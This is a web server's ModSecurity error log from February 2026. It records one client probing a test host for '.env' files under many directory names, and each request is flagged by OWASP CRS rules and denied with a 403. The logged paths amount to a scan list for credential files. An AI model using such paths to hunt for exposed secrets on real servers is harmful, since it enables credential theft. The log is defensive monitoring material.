[Wed Feb 25 06:05:32.297139 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /socketio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYygAAAAc&quot;]
[Wed Feb 25 06:05:32.297355 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYygAAAAc&quot;]
[Wed Feb 25 06:05:32.297502 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYygAAAAc&quot;]
[Wed Feb 25 06:05:32.386941 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /source/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYywAAAAc&quot;]
[Wed Feb 25 06:05:32.387203 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYywAAAAc&quot;]
[Wed Feb 25 06:05:32.387366 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYywAAAAc&quot;]
[Wed Feb 25 06:05:32.442915 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzAAAAAc&quot;]
[Wed Feb 25 06:05:32.443177 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzAAAAAc&quot;]
[Wed Feb 25 06:05:32.443346 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzAAAAAc&quot;]
[Wed Feb 25 06:05:32.473440 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQAAAAAA&quot;]
[Wed Feb 25 06:05:32.473674 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQAAAAAA&quot;]
[Wed Feb 25 06:05:32.473825 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQAAAAAA&quot;]
[Wed Feb 25 06:05:32.489331 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzQAAAAc&quot;]
[Wed Feb 25 06:05:32.489555 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzQAAAAc&quot;]
[Wed Feb 25 06:05:32.489709 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzQAAAAc&quot;]
[Wed Feb 25 06:05:32.515288 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rosterback/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQQAAAAA&quot;]
[Wed Feb 25 06:05:32.515515 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQQAAAAA&quot;]
[Wed Feb 25 06:05:32.515668 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQQAAAAA&quot;]
[Wed Feb 25 06:05:32.572951 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcube/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQgAAAAA&quot;]
[Wed Feb 25 06:05:32.573215 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQgAAAAA&quot;]
[Wed Feb 25 06:05:32.573398 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQgAAAAA&quot;]
[Wed Feb 25 06:05:32.585382 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spearmint/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzgAAAAc&quot;]
[Wed Feb 25 06:05:32.585635 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzgAAAAc&quot;]
[Wed Feb 25 06:05:32.585794 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzgAAAAc&quot;]
[Wed Feb 25 06:05:32.621700 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spikes/config-material-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzwAAAAc&quot;]
[Wed Feb 25 06:05:32.621982 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzwAAAAc&quot;]
[Wed Feb 25 06:05:32.622148 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDYzwAAAAc&quot;]
[Wed Feb 25 06:05:32.637786 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcubemail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQwAAAAA&quot;]
[Wed Feb 25 06:05:32.638038 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQwAAAAA&quot;]
[Wed Feb 25 06:05:32.638198 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ6DHGXxsr5IXP-ltRibQwAAAAA&quot;]
[Wed Feb 25 06:05:32.680104 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spotiapps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0AAAAAc&quot;]
[Wed Feb 25 06:05:32.680357 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0AAAAAc&quot;]
[Wed Feb 25 06:05:32.680525 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ6DHIv6AM5Bs3q_JQDY0AAAAAc&quot;]
